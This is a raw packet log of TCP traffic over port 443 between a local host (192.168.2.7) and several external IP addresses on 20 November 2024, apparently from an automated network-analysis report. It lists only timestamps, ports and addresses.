Nov 20, 2024 17:41:34.126292944 CET	49730	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:34.127702951 CET	49730	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:34.127732992 CET	443	49730	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:34.128680944 CET	443	49730	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:34.130168915 CET	49730	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:34.130168915 CET	49730	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:34.130258083 CET	443	49730	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:34.893254995 CET	443	49730	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:34.893508911 CET	443	49730	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:34.893547058 CET	49730	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:34.893609047 CET	49730	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:35.172488928 CET	443	49731	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.176127911 CET	443	49732	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.187222958 CET	49731	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.187242985 CET	443	49731	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.187781096 CET	49731	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.187784910 CET	443	49731	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.188103914 CET	49732	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.188117027 CET	443	49732	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.188524961 CET	49732	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.188529968 CET	443	49732	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.190788984 CET	49736	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:41:35.190829039 CET	443	49736	20.12.23.50	192.168.2.7
Nov 20, 2024 17:41:35.190901041 CET	49736	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:41:35.192691088 CET	49736	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:41:35.192703962 CET	443	49736	20.12.23.50	192.168.2.7
Nov 20, 2024 17:41:35.231450081 CET	443	49733	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.232000113 CET	49733	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.232039928 CET	443	49733	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.232465029 CET	49733	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.232472897 CET	443	49733	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.361566067 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.361584902 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:35.361619949 CET	443	49737	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:35.361681938 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:35.362040997 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:35.362056971 CET	443	49737	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:35.362411976 CET	49734	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.362435102 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.362979889 CET	49734	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.362986088 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.401182890 CET	443	49735	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.401801109 CET	49735	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.401834011 CET	443	49735	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.402405024 CET	49735	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.402415991 CET	443	49735	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.461328030 CET	49703	443	192.168.2.7	104.98.116.138
Nov 20, 2024 17:41:35.463486910 CET	49738	443	192.168.2.7	104.98.116.138
Nov 20, 2024 17:41:35.463526964 CET	443	49738	104.98.116.138	192.168.2.7
Nov 20, 2024 17:41:35.463592052 CET	49738	443	192.168.2.7	104.98.116.138
Nov 20, 2024 17:41:35.464010954 CET	49738	443	192.168.2.7	104.98.116.138
Nov 20, 2024 17:41:35.464025021 CET	443	49738	104.98.116.138	192.168.2.7
Nov 20, 2024 17:41:35.581018925 CET	443	49703	104.98.116.138	192.168.2.7
Nov 20, 2024 17:41:35.626974106 CET	443	49731	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.627137899 CET	443	49731	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.627196074 CET	49731	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.627336979 CET	49731	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.627353907 CET	443	49731	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.627366066 CET	49731	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.627371073 CET	443	49731	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.630264044 CET	443	49732	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.630342007 CET	443	49732	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.630402088 CET	49732	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.630696058 CET	49739	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.630753040 CET	49732	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.630753040 CET	49732	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.630753994 CET	443	49739	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.630774975 CET	443	49732	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.630785942 CET	443	49732	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.630810976 CET	49739	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.631551981 CET	49739	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.631570101 CET	443	49739	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.633394003 CET	49740	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.633429050 CET	443	49740	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.633481979 CET	49740	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.633657932 CET	49740	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.633670092 CET	443	49740	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.684217930 CET	443	49733	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.684377909 CET	443	49733	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.684448957 CET	49733	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.684552908 CET	49733	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.684552908 CET	49733	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.684597969 CET	443	49733	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.684639931 CET	443	49733	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.686532974 CET	49741	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.686568022 CET	443	49741	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.686742067 CET	49741	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.686820030 CET	49741	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.686830997 CET	443	49741	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.813838005 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.814018965 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.814076900 CET	49734	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.814563990 CET	49734	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.814578056 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.814587116 CET	49734	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.814591885 CET	443	49734	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.818249941 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.818275928 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.818384886 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.823698997 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.823731899 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.852144003 CET	443	49735	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.852293015 CET	443	49735	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.852360010 CET	49735	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.877959967 CET	49735	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.878015041 CET	443	49735	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.878068924 CET	49735	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.878086090 CET	443	49735	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.885812998 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.885859013 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:35.886023045 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.886579037 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:35.886591911 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:36.671155930 CET	443	49737	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:36.671228886 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:36.672559977 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:36.672574043 CET	443	49737	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:36.672899961 CET	443	49737	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:36.674390078 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:36.675225019 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:36.675261021 CET	443	49737	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:36.675400019 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:36.675434113 CET	443	49737	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:36.675560951 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:36.675617933 CET	443	49737	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:36.675755978 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:36.675770998 CET	443	49737	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:36.675914049 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:36.675930977 CET	443	49737	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:36.676088095 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:36.676105976 CET	443	49737	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:36.676114082 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:36.676275969 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:36.676299095 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:36.719378948 CET	443	49737	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:36.719562054 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:36.719609976 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:36.719623089 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:36.767358065 CET	443	49737	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:36.767612934 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:36.767663956 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:36.767700911 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:36.811340094 CET	443	49737	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:36.811420918 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:36.836875916 CET	443	49736	20.12.23.50	192.168.2.7
Nov 20, 2024 17:41:36.836951017 CET	49736	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:41:36.838730097 CET	49736	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:41:36.838740110 CET	443	49736	20.12.23.50	192.168.2.7
Nov 20, 2024 17:41:36.839145899 CET	443	49736	20.12.23.50	192.168.2.7
Nov 20, 2024 17:41:36.855329037 CET	443	49737	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:36.891813040 CET	49736	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:41:37.278770924 CET	443	49737	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:37.675770044 CET	443	49741	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:37.676387072 CET	49741	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:37.676410913 CET	443	49741	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:37.677084923 CET	49741	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:37.677088976 CET	443	49741	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:37.678853989 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:37.679199934 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:37.679235935 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:37.679702044 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:37.679706097 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:37.687469006 CET	443	49740	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:37.687792063 CET	49740	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:37.687800884 CET	443	49740	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:37.688422918 CET	49740	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:37.688427925 CET	443	49740	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:37.692099094 CET	443	49739	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:37.692523956 CET	49739	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:37.692576885 CET	443	49739	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:37.692991018 CET	49739	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:37.693032026 CET	443	49739	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:37.716368914 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:37.716744900 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:37.716758966 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:37.717250109 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:37.717253923 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.242484093 CET	443	49741	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.242564917 CET	443	49741	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.242607117 CET	49741	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.242944956 CET	49741	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.242944956 CET	49741	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.242964983 CET	443	49741	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.242974997 CET	443	49741	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.246756077 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.246798038 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.246923923 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.247113943 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.247128010 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.268069983 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.268238068 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.268435001 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.268435001 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.268466949 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.268477917 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.270401001 CET	443	49740	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.270473957 CET	443	49740	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.271157026 CET	49740	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.272649050 CET	49746	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.272742033 CET	443	49746	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.272805929 CET	49740	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.272813082 CET	443	49740	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.272835970 CET	49746	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.273819923 CET	49746	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.273854017 CET	443	49746	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.275032997 CET	49747	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.275063992 CET	443	49747	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.275142908 CET	49747	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.275250912 CET	49747	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.275264025 CET	443	49747	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.279489994 CET	443	49739	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.279576063 CET	443	49739	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.279853106 CET	49739	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.279918909 CET	49739	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.279918909 CET	49739	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.279942989 CET	443	49739	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.279963970 CET	443	49739	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.282002926 CET	49748	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.282026052 CET	443	49748	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.282116890 CET	49748	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.282349110 CET	49748	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.282361031 CET	443	49748	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.293550968 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.293703079 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.293778896 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.295341969 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.295352936 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.297790051 CET	49749	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.297811031 CET	443	49749	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.297897100 CET	49749	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.297986031 CET	49749	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:38.297991991 CET	443	49749	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:38.767028093 CET	49677	443	192.168.2.7	20.50.201.200
Nov 20, 2024 17:41:38.856969118 CET	49736	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:41:38.899358988 CET	443	49736	20.12.23.50	192.168.2.7
Nov 20, 2024 17:41:39.392143965 CET	443	49736	20.12.23.50	192.168.2.7
Nov 20, 2024 17:41:39.392162085 CET	443	49736	20.12.23.50	192.168.2.7
Nov 20, 2024 17:41:39.392168045 CET	443	49736	20.12.23.50	192.168.2.7
Nov 20, 2024 17:41:39.392195940 CET	443	49736	20.12.23.50	192.168.2.7
Nov 20, 2024 17:41:39.392215014 CET	443	49736	20.12.23.50	192.168.2.7
Nov 20, 2024 17:41:39.392225981 CET	443	49736	20.12.23.50	192.168.2.7
Nov 20, 2024 17:41:39.392234087 CET	49736	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:41:39.392241955 CET	443	49736	20.12.23.50	192.168.2.7
Nov 20, 2024 17:41:39.392258883 CET	49736	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:41:39.392292976 CET	49736	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:41:39.411391020 CET	443	49736	20.12.23.50	192.168.2.7
Nov 20, 2024 17:41:39.411458969 CET	443	49736	20.12.23.50	192.168.2.7
Nov 20, 2024 17:41:39.411461115 CET	49736	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:41:39.411495924 CET	49736	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:41:39.987585068 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:39.988342047 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:39.988363981 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:39.989037991 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:39.989043951 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.030885935 CET	443	49749	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.031501055 CET	49749	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.031523943 CET	443	49749	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.032054901 CET	49749	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.032058954 CET	443	49749	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.068116903 CET	443	49746	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.068736076 CET	49746	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.068819046 CET	443	49746	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.069312096 CET	49746	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.069329023 CET	443	49746	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.087479115 CET	443	49748	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.087887049 CET	49748	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.087908983 CET	443	49748	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.088335991 CET	49748	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.088352919 CET	443	49748	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.088392019 CET	443	49747	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.089725018 CET	49747	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.089745045 CET	443	49747	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.090153933 CET	49747	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.090159893 CET	443	49747	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.422131062 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.422226906 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.423042059 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.423096895 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.423109055 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.423119068 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.423124075 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.426532984 CET	49752	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.426580906 CET	443	49752	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.426754951 CET	49752	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.426922083 CET	49752	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.426934004 CET	443	49752	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.468036890 CET	443	49749	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.468117952 CET	443	49749	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.468275070 CET	49749	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.468594074 CET	49749	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.468609095 CET	443	49749	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.468854904 CET	49749	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.468861103 CET	443	49749	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.470946074 CET	49753	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.470984936 CET	443	49753	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.471128941 CET	49753	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.471297026 CET	49753	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.471307993 CET	443	49753	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.530997992 CET	443	49748	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.531075001 CET	443	49748	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.531127930 CET	49748	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.531258106 CET	49748	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.531275988 CET	443	49748	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.531292915 CET	49748	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.531300068 CET	443	49748	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.531652927 CET	443	49747	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.531717062 CET	443	49747	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.531775951 CET	49747	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.532196999 CET	49747	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.532208920 CET	443	49747	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.532221079 CET	49747	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.532227039 CET	443	49747	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.534564018 CET	49754	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.534603119 CET	443	49754	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.534677982 CET	49754	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.534754992 CET	49755	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.534784079 CET	443	49755	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.534832001 CET	49755	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.534879923 CET	49754	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.534895897 CET	443	49754	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.535002947 CET	49755	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.535017967 CET	443	49755	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.561044931 CET	443	49746	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.561228991 CET	443	49746	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.561970949 CET	49746	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.562079906 CET	49746	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.562081099 CET	49746	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.562129021 CET	443	49746	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.562159061 CET	443	49746	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.565576077 CET	49756	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.565687895 CET	443	49756	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.565803051 CET	49756	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.565963984 CET	49756	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:40.565999031 CET	443	49756	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:40.734138012 CET	49736	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:41:40.734169006 CET	443	49736	20.12.23.50	192.168.2.7
Nov 20, 2024 17:41:40.734181881 CET	49736	443	192.168.2.7	20.12.23.50
Nov 20, 2024 17:41:40.734189034 CET	443	49736	20.12.23.50	192.168.2.7
Nov 20, 2024 17:41:40.795372963 CET	443	49737	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:40.795474052 CET	443	49737	104.21.66.38	192.168.2.7
